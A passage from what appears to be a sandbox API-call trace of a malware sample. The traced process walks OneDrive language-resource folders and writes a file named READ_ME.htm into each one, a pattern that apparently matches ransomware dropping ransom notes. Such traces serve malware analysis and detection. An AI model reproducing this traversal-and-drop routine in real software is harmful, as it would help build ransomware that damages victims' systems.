ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefda2d10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.539] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xefbb3b30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefda2d10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefda2d10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.539] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xefda2d10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefda2d10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefda2d10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x120b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.539] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xefda2d10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefda2d10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefda2d10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x120b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.539] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.539] SetErrorMode (uMode=0x0) returned 0x1 [0145.540] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hy\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hy\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.540] SetErrorMode (uMode=0x1) returned 0x0 [0145.540] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\hy\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\hy\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.540] SetErrorMode (uMode=0x0) returned 0x1 [0145.540] GetFileType (hFile=0x1d0) returned 0x1 [0145.541] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c7df8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28c7df8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\id", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\id", lpFilePart=0x0) returned 0x45 [0145.542] SetErrorMode (uMode=0x1) returned 0x0 [0145.542] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\id\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\id\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xefda2d10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeff91ef0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeff91ef0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.543] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xefda2d10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeff91ef0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeff91ef0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.544] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeff91ef0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeff91ef0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeff91ef0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x120b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.544] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeff91ef0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeff91ef0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeff91ef0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x120b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.544] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.545] SetErrorMode (uMode=0x0) returned 0x1 [0145.545] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\id", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\id", lpFilePart=0x0) returned 0x45 [0145.545] SetErrorMode (uMode=0x1) returned 0x0 [0145.545] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\id\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\id\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xefda2d10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeff91ef0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeff91ef0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.545] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xefda2d10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeff91ef0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeff91ef0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.545] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeff91ef0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeff91ef0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeff91ef0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x120b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.546] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeff91ef0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeff91ef0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeff91ef0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x120b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.546] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.546] SetErrorMode (uMode=0x0) returned 0x1 [0145.546] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\id\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\id\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.546] SetErrorMode (uMode=0x1) returned 0x0 [0145.546] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\id\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\id\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.546] SetErrorMode (uMode=0x0) returned 0x1 [0145.547] GetFileType (hFile=0x1d0) returned 0x1 [0145.547] WriteFile (in: hFile=0x1d0, lpBuffer=0x28ce3e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28ce3e0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.548] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ig-ng", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ig-ng", lpFilePart=0x0) returned 0x48 [0145.548] SetErrorMode (uMode=0x1) returned 0x0 [0145.548] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ig-ng\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ig-ng\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeff91ef0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf01f34f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf01f34f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.559] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeff91ef0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf01f34f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf01f34f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.559] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf01f34f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf01f34f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf01f34f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x10eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.559] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf01f34f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf01f34f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf01f34f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x10eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.559] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.559] SetErrorMode (uMode=0x0) returned 0x1 [0145.559] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ig-ng", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ig-ng", lpFilePart=0x0) returned 0x48 [0145.560] SetErrorMode (uMode=0x1) returned 0x0 [0145.560] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ig-ng\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ig-ng\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeff91ef0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf01f34f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf01f34f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.560] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeff91ef0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf01f34f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf01f34f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.560] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf01f34f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf01f34f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf01f34f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x10eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.560] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf01f34f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf01f34f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf01f34f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x10eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.560] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.560] SetErrorMode (uMode=0x0) returned 0x1 [0145.561] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ig-ng\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ig-ng\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.561] SetErrorMode (uMode=0x1) returned 0x0 [0145.561] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ig-ng\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ig-ng\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.562] SetErrorMode (uMode=0x0) returned 0x1 [0145.562] GetFileType (hFile=0x1d0) returned 0x1 [0145.563] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d4a48*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28d4a48*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.564] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\is", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\is", lpFilePart=0x0) returned 0x45 [0145.565] SetErrorMode (uMode=0x1) returned 0x0 [0145.565] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\is\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\is\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01f34f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf03e26d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf03e26d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.567] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01f34f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf03e26d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf03e26d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.567] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.567] SetErrorMode (uMode=0x0) returned 0x1 [0145.568] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\is", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\is", lpFilePart=0x0) returned 0x45 [0145.568] SetErrorMode (uMode=0x1) returned 0x0 [0145.568] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\is\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\is\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01f34f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf03e26d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf03e26d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.568] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.568] SetErrorMode (uMode=0x0) returned 0x1 [0145.568] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\is\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\is\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.569] SetErrorMode (uMode=0x1) returned 0x0 [0145.569] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\is\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\is\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.569] SetErrorMode (uMode=0x0) returned 0x1 [0145.569] GetFileType (hFile=0x1d0) returned 0x1 [0145.570] WriteFile (in: hFile=0x1d0, lpBuffer=0x28db030*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28db030*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.571] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\it", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\it", lpFilePart=0x0) returned 0x45 [0145.571] SetErrorMode (uMode=0x1) returned 0x0 [0145.571] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\it\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\it\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe995ce50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9b25ed0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9b25ed0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.572] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.572] SetErrorMode (uMode=0x0) returned 0x1 [0145.572] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\it", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\it", lpFilePart=0x0) returned 0x45 [0145.572] SetErrorMode (uMode=0x1) returned 0x0 [0145.572] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\it\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\it\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe995ce50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9b25ed0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9b25ed0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.572] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.573] SetErrorMode (uMode=0x0) returned 0x1 [0145.573] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\it\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\it\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.573] SetErrorMode (uMode=0x1) returned 0x0 [0145.573] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\it\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\it\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.573] SetErrorMode (uMode=0x0) returned 0x1 [0145.573] GetFileType (hFile=0x1d0) returned 0x1 [0145.574] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e1618*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28e1618*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.575] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\iu-latn-ca", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: 